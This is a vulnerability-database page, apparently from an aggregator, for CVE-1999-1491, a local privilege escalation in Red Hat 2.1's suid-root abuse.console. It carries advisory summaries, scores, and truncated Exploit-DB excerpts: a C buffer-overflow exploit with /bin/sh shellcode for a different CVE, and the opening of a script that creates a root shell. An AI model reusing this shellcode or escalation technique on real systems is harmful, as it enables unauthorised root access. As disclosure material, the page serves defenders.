CVE-1999-1491
published 1996-02-02CVE-1999-1491: abuse.console in Red Hat 2.1 uses relative pathnames to find and execute the undrv program, which allows local users to execute arbitrary commands via a path…
PriorityP425high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.92%
77.6th percentile
abuse.console in Red Hat 2.1 uses relative pathnames to find and execute the undrv program, which allows local users to execute arbitrary commands via a path that points to a Trojan horse program.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | linux | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulDB
Red Hat Linux 2.1 abuse.console privileges management (EDB-19279 / BID-354)
vuldb·2026-04-16·CVSS 7.2
CVE-1999-1491 [HIGH] Red Hat Linux 2.1 abuse.console privileges management (EDB-19279 / BID-354)
A vulnerability, which was classified as problematic, has been found in Red Hat Linux 2.1. This issue affects some unknown processing of the component abuse.console. The manipulation leads to improper privilege management.
This vulnerability is documented as CVE-1999-1491. The attack needs to be performed locally. Additionally, an exploit exists.
It is advisable to upgrade the affected component.
GHSA
GHSA-33qc-p77x-82rf: abuse
ghsa_unreviewed·2022-04-30
CVE-1999-1491 [HIGH] GHSA-33qc-p77x-82rf: abuse
abuse.console in Red Hat 2.1 uses relative pathnames to find and execute the undrv program, which allows local users to execute arbitrary commands via a path that points to a Trojan horse program.
No detection rules found.
Exploit-DB
Xt Library - Local Privilege Escalation
exploitdb·1996-08-24
CVE-1999-0040 Xt Library - Local Privilege Escalation
Xt Library - Local Privilege Escalation
---
#include
#include
#include
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 1491
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
"\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
"\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
"\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";
int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;
if(argc>1)
ofs=atoi(argv[1]);
if(argc>2)
bs=atoi(argv[2]);
printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
ofs, get_esp()+of
Exploit-DB
RedHat Linux 2.1 - 'abuse.console' Local Privilege Escalation
exploitdb·1996-02-02
CVE-1999-1491 RedHat Linux 2.1 - 'abuse.console' Local Privilege Escalation
RedHat Linux 2.1 - 'abuse.console' Local Privilege Escalation
---
source: https://www.securityfocus.com/bid/354/info
Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1
No writeups or analysis indexed.
1996-02-02
Published